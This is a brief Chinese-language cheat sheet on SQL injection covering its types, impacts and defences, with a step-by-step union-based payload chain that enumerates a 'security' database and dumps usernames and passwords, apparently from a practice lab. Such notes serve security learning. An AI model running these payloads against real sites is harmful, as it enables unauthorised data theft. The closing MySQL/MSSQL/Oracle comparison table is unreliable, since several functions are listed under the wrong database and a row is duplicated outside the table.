本文为SQL注入总结简略版,仅仅提供一个思路。详细版后续更新……
SQL注入原理
用户输入不可控,恶意SQL语句被拼接到原因SQL语句中并能够执行,导致SQL注入漏洞
SQL注入分类
数值型、字符型、搜索型
回显注入: union select…
报错注入: extractvalue() 和 updatexml()
堆叠注入:show table、handler table read first
时间盲注、布尔盲注:字符编码+二分法(python)
二次注入:在第一次对数据库操作的基础上,再次进行注入攻击,达到目的
SQL注入基本流程
id=1' order by 3 --+ //判断出数据库表的字段数为3
id=0' union select 1,2,3 --+ //判断输出的位置
id=0' union select 1,2,(select database()) --+ //爆库名
id=0' union select 1,2,(select group_concat(table_name)
from information_schema.tables where table_schema='security') --+ //查security中所有表名
id=0' union select 1,2,(select group_concat(column_name) from information_schema.columns
where table_schema='security' and table_name='users') --+ //获取列名
id=0' union select 1,2,(select group_concat(id,0x3a,username,0x3a,password) from security.users) --+
//要明确想要的信息在哪个数据库的哪个表中;获取单元格内的值
SQL注入危害
- 数据被泄露、修改、删除等
- 写入木马文件,对网页篡改等
- 获取操作系统shell,执行系统命令,进行提权操作等
- 修改注册表
SQL注入防护
- 基于攻击特征的匹配过滤
- 对用户输入进行转义
- 对用户输入长度,输入内容严格规定
- 严格限制网站访问数据库的权限
- 预编译。Select、from、where、and等关键字提前编译,后面恶意的SQL语句就不会被执行。
- PDO:PHP数据对象。提供一组数据库抽象API,使得php编写者不需要关心连接的数据库,有效解决SQL注入问题
数据库的比较
- Mysql弱类型语言,mssql、orcale强类型语言
- Mysql的information_schema;mssql的master…sysdatabases;Orcale没有数据库的概念
- 函数的区别:| user() | current_user | user |;
mysql | mssql | orcale |
---|---|---|
user() | current_user | user |
db_name() | database() | 无数据库概念 |
length() | len() | length() |
ascii(),char() | char() | ascii() |
limit 0,1 | top 1 | rownum=1 |
substr() | substring() | substr() |
group_concat() | group_concat() (与group by联合使用) | wm_concat() |
- 习惯性组合:asp、aspx与mssql;jsp与oracle;php与mysql
- 常用关键词区别:Limit | top | rownum ……